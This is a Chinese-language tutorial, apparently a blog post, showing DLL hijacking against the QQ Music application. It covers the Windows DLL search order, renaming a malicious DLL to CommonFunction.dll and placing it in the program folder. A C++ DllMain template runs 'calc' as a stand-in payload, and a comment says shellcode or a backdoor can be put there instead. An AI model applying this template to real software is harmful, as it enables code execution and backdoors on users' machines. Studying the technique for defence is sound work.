当一个可执行文件运行时,Windows加载器将可执行模块映射到进程的地址空间中,加载器分析可执行模块的输入表,并设法找出任何需要的DLL,并将它们映射到进程的地址空间中
本文章实现原理
这里使用同目录替换正常dll,然后软件加载替换后得恶意dll
- 将编译后得恶意dll放到QQ音乐软件目录下
- 改名为CommonFunction.dll
相当于把正常dll替换成恶意dll并加载
这样启动QQ音乐时就会加载恶意dll了
dll加载顺序
DLL劫持中最常见的一种劫持方法,即在程序所在目录放置要劫持的DLL,程序启动时首先从本目录加载DLL,从而导致DLL劫持,DLL的加载顺序如下:
1.程序所在目录
2.程序加载目录(SetCurrentDirectory)
3.系统目录即 SYSTEM32 目录
4.16位系统目录即 SYSTEM 目录
5.Windows目录
6.PATH环境变量中列出的目录
实现效果图
打开QQ音乐 加载恶意dll,执行恶意代码弹出计算器
方便演示 恶意代码为弹出 计算器
代码例子
#include <cstdlib>
#include <Windows.h>
#include <iostream>
#include <objbase.h>
#include <shellapi.h>
BOOL APIENTRY DllMain(HANDLE hModule, DWORD dwReason, void* lpReserved) {
//DllMain 为dll加载入口,跟exe Main 入口一样
HANDLE g_hModule;
switch (dwReason) {
case DLL_PROCESS_ATTACH:
//检测dll是否被加载
MessageBox(NULL, TEXT("dll执行成功,并弹出计算器"), TEXT("dll加载测试"), MB_ICONWARNING);
//弹窗
system("calc");
// 方便演示 执行系统命令弹出计算器
// 阔以放任意 Payload Shellcode
//来加载恶意代码程序,比如后门
g_hModule = (HINSTANCE)hModule;
break;
case DLL_PROCESS_DETACH:
//检测dll卸载状态
MessageBox(NULL, TEXT("dll取消执行"), TEXT("dll加载测试"), MB_ICONWARNING);
// 弹窗
g_hModule = NULL;
break;
}
return true;
}
查看
查看进程被加载得dll
Process-Monitor工具
可以看到QQ音乐加载了一个CommonFunction.dll